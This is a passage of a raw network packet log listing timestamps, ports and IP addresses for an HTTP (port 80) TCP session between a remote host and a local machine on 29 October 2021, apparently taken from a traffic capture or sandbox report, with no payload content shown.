Oct 29, 2021 15:31:15.488694906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488718033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488740921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488763094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488785982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488806963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488837004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488878965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.488882065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488905907 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488929033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488940001 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.488955021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488969088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.488979101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.488998890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489017010 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489034891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489052057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489068985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489085913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489103079 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489125013 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489141941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489160061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489176989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489192009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489207983 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489223957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489240885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489258051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489274025 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489293098 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489310026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489326000 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489342928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489360094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489377975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489393950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489412069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489428997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489445925 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489461899 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.489479065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.495630026 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497642040 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497694969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497721910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497745037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497754097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497770071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497786999 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497793913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497821093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497829914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497847080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497870922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497881889 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497895956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497920036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497931957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497944117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497970104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.497980118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.497994900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498018980 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498028994 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498044014 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498069048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498080015 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498094082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498119116 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498126030 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498142958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498166084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498177052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498192072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498217106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498231888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498240948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498265982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498275042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498291016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498317957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498326063 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498342991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498359919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498366117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498389959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498389959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498414040 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498421907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498437881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498447895 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498461008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498483896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498506069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498522043 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498528957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498553038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498559952 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498575926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498584986 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498601913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498625994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498635054 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498651028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498675108 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498682976 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498699903 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498723984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498739958 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.498747110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498769999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.498781919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.528981924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.529016018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.529033899 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.529052973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.529071093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.529104948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.529150009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.532944918 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.532963991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.532982111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.532998085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.533015013 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.533032894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.533051014 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.533061981 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.533068895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.533087015 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.533090115 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.533107042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.535830975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535850048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535866976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535883904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535887957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.535902023 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535912037 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.535918951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535936117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535947084 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.535967112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.535974979 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.535985947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536003113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536020994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536021948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536037922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536053896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536056042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536072016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536087990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536091089 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536119938 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536130905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536171913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536190987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536207914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536215067 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536226034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536243916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536246061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536267042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536277056 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536309958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536330938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536341906 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536355019 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536376953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536396980 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536401033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536425114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536442995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536444902 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536459923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536478996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536482096 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536498070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536514997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536524057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536535978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536551952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536570072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.536571980 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.536583900 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542087078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542118073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542143106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542162895 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542169094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542192936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542215109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542222023 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542237997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542258978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542262077 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542279959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542284012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542303085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542319059 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542325020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542346954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542366028 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542367935 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542388916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542406082 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542411089 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542434931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542444944 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542455912 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542476892 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542484999 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542498112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542519093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542530060 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542540073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542561054 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542570114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542582035 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542603970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542612076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542624950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542646885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542656898 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542668104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542689085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542696953 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.542710066 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542731047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.542738914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545248032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545279026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545294046 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545300961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545322895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545342922 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545346022 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545367002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545376062 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545389891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545409918 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545419931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545430899 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545453072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545460939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545475960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545497894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545505047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545521021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545542002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545551062 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545564890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545587063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545594931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545608997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545630932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545639038 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545654058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545676947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545696020 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545698881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545722008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545728922 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545744896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545768976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545778036 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545793056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545814991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545821905 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545835972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545857906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545866966 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545881987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545909882 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545918941 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545936108 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545955896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.545964003 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.545977116 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546000004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546009064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.546021938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546045065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546052933 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.546066999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546087980 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546103001 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.546109915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546130896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546150923 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.546152115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546174049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546189070 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.546194077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546215057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546224117 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.546235085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.546266079 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.575834990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.575910091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.575961113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.575992107 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.576009989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.576051950 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.576059103 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.576106071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.576148033 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.576154947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.576200008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.576237917 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.579643011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.579785109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.579847097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.579865932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.579942942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.579983950 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.580023050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.580108881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.580152035 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.580185890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582129955 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582195044 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.582226038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582308054 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582359076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.582393885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582473993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582524061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.582554102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582636118 CEST	80	49841	194.180.174.181	192.168.2.7
